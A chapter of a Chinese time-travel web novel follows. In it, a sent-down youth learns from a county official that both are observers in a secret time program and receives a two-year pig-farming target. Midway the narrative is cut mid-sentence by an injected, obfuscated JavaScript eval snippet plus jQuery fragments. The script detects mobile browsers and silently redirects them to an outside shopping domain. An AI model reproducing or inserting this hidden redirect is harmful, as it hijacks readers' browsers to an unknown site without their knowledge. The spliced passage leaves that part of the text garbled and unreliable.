县招待所是栋三层小楼，红砖墙，木格窗，墙皮有些地方已经剥落，露出里面黄泥的底色。203室在二楼走廊尽头，门是那种刷了绿漆的老式木门，门牌号的白漆已经斑驳。


    林晚照在门前站了三秒钟。


    这三秒钟里，她脑子里闪过无数种可能——陷阱？试探？还是……真的？


    最后她抬起手，指关节在门上叩了三下。声音在空荡的走廊里回响，带着某种不祥的韵律。


    门开了。


    开门的是个四十岁左右的男人，中等个子，脸很普通，是那种扔进人堆就找不着的长相。他穿着灰色的中山装，扣子一直扣到最上面一颗，袖口洗得发白，但熨得笔挺。


    “林晚照同志？”他的声音也很普通，不高不低，带着点南方口音。


    “是我。您就是郑主任？”


    “郑卫国。”男人侧身让开，“进来吧。”


    房间不大，一张床，一张桌子，两把椅子。桌上摆着个搪瓷缸，缸身上印着“为人民服务”的红字。窗台上放着个暖水瓶，竹编的壳子已经发黑。


    郑卫国在床沿坐下，指了指对面的椅子：“坐。一路过来冷吧？喝点热水。”


    他从暖水瓶里倒了半缸水，推过来。水是温的，不烫。


    林晚照没动那缸水。她在椅子上坐下，背挺得很直，双手放在膝盖上，是个随时准备起身的姿势。


    “郑主任找我，是为了建材指标的事？”她先开口，语气平静，像真的只是来谈工作。


    郑卫国笑了。他的笑很浅，只牵动嘴角，眼睛里的神色没变：“建材是个小事。我今天找你，是想谈谈……别的事。”


    “什么事？”


    郑卫国没直接回答。他从口袋里掏出盒烟，是大前门，抽出一支在桌上顿了顿，然后点上。烟雾在房间里升起来，带着劣质烟草的呛人气味。


    “林晚照同志，”他吸了口烟，慢慢吐出来，“你是1975年3月15号穿来的，对吧？”


    房间里安静得能听见烟丝燃烧的滋滋声。


    窗外的阳光从木格窗照进来，在水泥地上投出菱形的光斑。光斑里有细小的尘埃在浮动，上上下下，像无数个微小的生命在挣扎。


    林晚照的手指在膝盖上蜷缩了一下，又松开。


    “我不明白您在说什么。”她的声音很稳，稳得连自己都惊讶。


    “你明白。”郑卫国弹了弹烟灰，“红星公社养猪场，原本在1975年10月因为猪瘟全灭，1976年开春就荒废了。但现在，它不仅没倒，还要扩建。你从省城搞来了五千块专项资金，这钱原本应该拨给县农机厂的。”


    他每说一句，林晚照的心就沉一分。


    这些细节，如果不是仔细调查过，不可能知道得这么清楚。


    “你是谁？”她终于问。


    郑卫国没回答。他站起身，走到窗边，背对着她：“你手腕上有个银镯，对吧？外婆留下的。内圈有龙凤纹，但仔细看，纹路其实是一行字——‘时空锚点，编号074’。”


    林晚照的后背瞬间被冷汗浸透。她下意识捂住手腕，银镯在袖子里硌着皮肤，冰凉。


    “你怎么……”


    “因为我也有一个。”郑卫国转过身，撩起左袖。手腕上确实有个银镯，款式和她的几乎一模一样，只是内圈的纹路不同。


    林晚照盯着那个镯子，脑子里一片混乱。


    “我们来自同一个地方。”郑卫国放下袖子，重新坐下，“或者说，同一个计划。”


    “什么计划？”


    “时空观测与干预计划，代号‘灯塔’。”郑卫国的语气变得正式，像在念报告，“你是074号观测员，我是037号。我们的任务，是在不同时间节点建立观测点，记录历史进程，并在必要时进行微调。”


    林晚照的呼吸有些急促：“微调？什么意思？”


    “就是你现在做的这些事。”郑卫国指了指窗外，“用科学方法养猪，提高产量，改善农民生活——这是被允许的微调范畴。但如果你试图改变重大历史事件，比如提前泄露高考恢复的消息，或者干预高层决策，那就会触发干预机制。”


    “所以周明远……”


    “周明远是‘守夜人’，他们的任务是监视我们这些观测员，确保我们不越界。”郑卫国掐灭烟头，“昨天他暴露，是我安排的。”


    “为什么？”


    “因为我们需要接触。”郑卫国的眼神变得锐利，“林晚照同志，你难道没发现，你的空间出问题了吗？”


    这句话像一道闪电劈进林晚照的脑子里。


    裂缝。那些声音。《春天的故事》。1984年……


    “裂缝是怎么回事？”她急切地问。


    “时空紊乱。”郑卫国说得很简洁，“你的观测点出现了异常波动，导致时空结构出现裂缝。如果不及时修复，裂缝会扩大，最终可能导致……”


    “导致什么？”


    “导致你这个观测点被抹除。”郑卫国的声音很平静，但话里的内容让人不寒而栗，“连带你在这个时间点存在过的所有痕迹。”


    房间里又安静下来。


    楼下传来服务员推着清洁车的声音，轱辘在水泥地上滚动，吱呀吱呀的。远处有自行车铃声，叮铃铃的，带着七十年代特有的节奏。


    林晚照端起那缸温水，喝了一口。水已经凉了，顺着食道滑下去，冷到胃里。


    “怎么修复？”她问。


    “完成你的核心任务。”郑卫国说，“每个观测员都有个核心任务，这是稳定时空锚点的关键。你的任务是什么，镯子会告诉你。”


    林晚照下意识摸向手腕。银镯温润，但此刻却感觉沉重无比。


    “我怎么知道你说的是真的？”她抬起头，盯着郑卫国。


    郑卫国从怀里掏出个笔记本，翻开，推到林晚照面前。上面是手写的记录，字迹工整：


    1975.3.15，观测员074号降临，红星公社知青点。初始状态：营养不良，体重41kg，携带基础生存物资……


    1975.6.22，首次使用灵泉，治愈同屋知青李秀英的慢性咳嗽……


    1975.10.3，提交科学养猪方案，触发历史微调节点……


    记录一直写到昨天，连她和周明远对峙的细节都有。


    “这是你的观测日志。”郑卫国说，“每个观测员都要写。你的那份，应该在空间里。”


    林晚照闭上眼睛，意识沉入空间。


    黑土地边缘，裂缝旁边，不知什么时候多了个木箱。她以前从未注意过——或者说，这个箱子是刚刚出现的。


    箱子没锁，打开，里面是一摞笔记本。最上面那本的封面上写着：观测员074号工作日志。


    她翻开第一页。


    1975年3月15日，晴。穿越成功，坐标确认。当前任务：在红星公社建立稳定观测点，存活至1977年12月……


    字迹是她的，但她完全不记得自己写过这些。


    意识回到现实，林晚照的脸色有些苍白。


    “现在相信了？”郑卫国问。


    “为什么现在才告诉我这些？”


    “因为之前没必要。”郑卫国又点了支烟，“按照计划，观测员之间不应该直接接触，除非出现异常。你的空间裂缝就是异常。而且……”


    他顿了顿，烟雾后的眼睛眯起来：“而且我怀疑，有人故意制造了这个异常。”


    “谁？”


    “不知道。”郑卫国摇头，“可能是‘守夜人’内部的激进派，也可能是别的什么势力。时空干预是个敏感的领域，有很多人想从中牟利。”


    林晚照想起裂缝里那些未来的声音。价格双轨制，乡镇企业，1984年……


    “裂缝里的声音，是未来的信息泄露？”


    “对。”郑卫国点头，“裂缝连接了不同时间点，导致信息流混乱。如果不尽快修复，泄露的信息会越来越多，最终可能引发时空悖论。”


    “那我的核心任务到底是什么？”林晚照追问，“日志里只说要建立观测点，存活到1977年，这太模糊了。”


    郑卫国从笔记本里抽出一张纸，递过来。纸是那种机关用的便笺纸，抬头印着县计委的红字。


    上面写着一行指令：


    观测员074号核心任务：在1977年冬季之前，使红星公社生猪存栏量达到500头，农民人均年收入提高50%。任务完成，时空锚点稳定。任务失败，观测点抹除。


    林晚照盯着那行字，手指微微发抖。


    五百头猪。人均收入提高50%。


    现在是1975年底，红星公社的生猪存栏量


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856548|191601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不到一百头，农民人均年收入……她不知道具体数字，但肯定很低，低到很多人过年都吃不上一顿肉。


    两年时间，要完成这个目标，几乎不可能。


    “这是故意刁难。”她抬起头，声音里带着压抑的怒气。


    “这是测试。”郑卫国纠正她，“‘灯塔’计划需要的是能在历史洪流中创造奇迹的人。如果你能做到，就证明你有资格继续这个任务。如果做不到……”


    他没说完，但意思很明显。


    林晚照把那张纸折好，放进口袋。纸张摩擦布料的声音很轻，但在寂静的房间里格外清晰。


    “我需要帮助。”她说。


    “我会给你建材指标。”郑卫国说，“这是我能提供的最大帮助。其他的，得靠你自己。”


    “为什么帮我？”


    郑卫国沉默了一会儿。他走到窗边，看着楼下街道上骑自行车的人群，那些穿着蓝灰衣服的人们，在冬日的阳光下像一群忙碌的蚂蚁。


    “因为我也曾面临过同样的选择。”他的声音很轻，轻得像自言自语，“1970年，我在云南插队，任务是在边境建立观测点。我失败了，观测点被抹除，但我活了下来。作为代价，我失去了回去的资格，永远留在了这个时代。”


    他转过身，眼睛里有种很深的东西：“我不希望你走我的老路。”


    林晚照张了张嘴，想说什么，但没说出来。


    最后她只是问：“建材指标什么时候能批？”


    “今天下午。”郑卫国回到桌边，从公文包里拿出几张表格，“把这些填了，我拿去盖章。水泥、钢筋、木材，你要的都有。但有个条件——”


    他抬起头，目光锐利：“这些建材，必须全部用于养猪场建设。我会派人定期检查，如果发现挪用，不止项目要停，你也会有麻烦。”


    “我明白。”


    林晚照接过表格，从桌上拿起钢笔。笔是英雄牌的，笔尖有些刮纸。她一笔一画地填着，姓名，单位，项目名称，物资种类，数量……


    填到最后一栏时，她的手顿了顿。


    申请理由：为发展集体养猪事业，提高农民收入，支援国家建设。


    这句话她写过很多次，但今天写，感觉格外沉重。


    郑卫国接过填好的表格，仔细看了一遍，点点头：“行了。你回公社等消息，最晚明天，调拨单会送到王书记那里。”


    “谢谢。”林晚照站起身。


    “不用谢我。”郑卫国也站起来，送她到门口，“记住，两年时间。五百头猪，人均收入提高50%。这不是游戏，是生死线。”


    门开了又关。


    林晚照走在走廊里，脚步声在空荡的楼道里回响。下楼时，她碰见个服务员，是个扎着麻花辫的姑娘，正在擦楼梯扶手。


    “同志，谈完事了？”姑娘抬起头，笑容很甜。


    “嗯，谈完了。”林晚照勉强笑了笑。


    走出招待所，阳光刺眼。街上人来人往，自行车铃声响成一片。路边的国营饭店门口排着队，人们手里攥着粮票和钱，等着买馒头。


    这一切如此真实，如此鲜活。


    但此刻在林晚照眼里，却像一场精心布置的舞台剧。而她，只是个被迫登台的演员。


    她摸了摸口袋里的那张纸。


    五百头猪。人均收入提高50%。


    还有手腕上的银镯，那个所谓的“时空锚点”。


    以及空间里那道不断扩大的裂缝。


    所有线索都指向一个事实：她的穿越不是意外，而是一场被安排好的实验。她的挣扎，她的努力，甚至她的生死，都可能是某个庞大计划里的一环。


    这个认知让人窒息。


    但她没有时间窒息。


    两年。只有两年。


    林晚照深吸一口气，冷空气灌进肺里，刺得生疼。


    她抬起头，朝着红星公社的方向走去。


    脚步很稳，一步，一步。


    就像她这几个月走过来的每一步一样。


    无论背后有什么阴谋，无论前路有多艰难。


    她都得走下去。


    为了活下去。


    也为了那些把她当成希望的人。


    阳光把她的影子拉得很长，投在积雪未化的街道上。


    影子歪歪扭扭的，但一直在向前。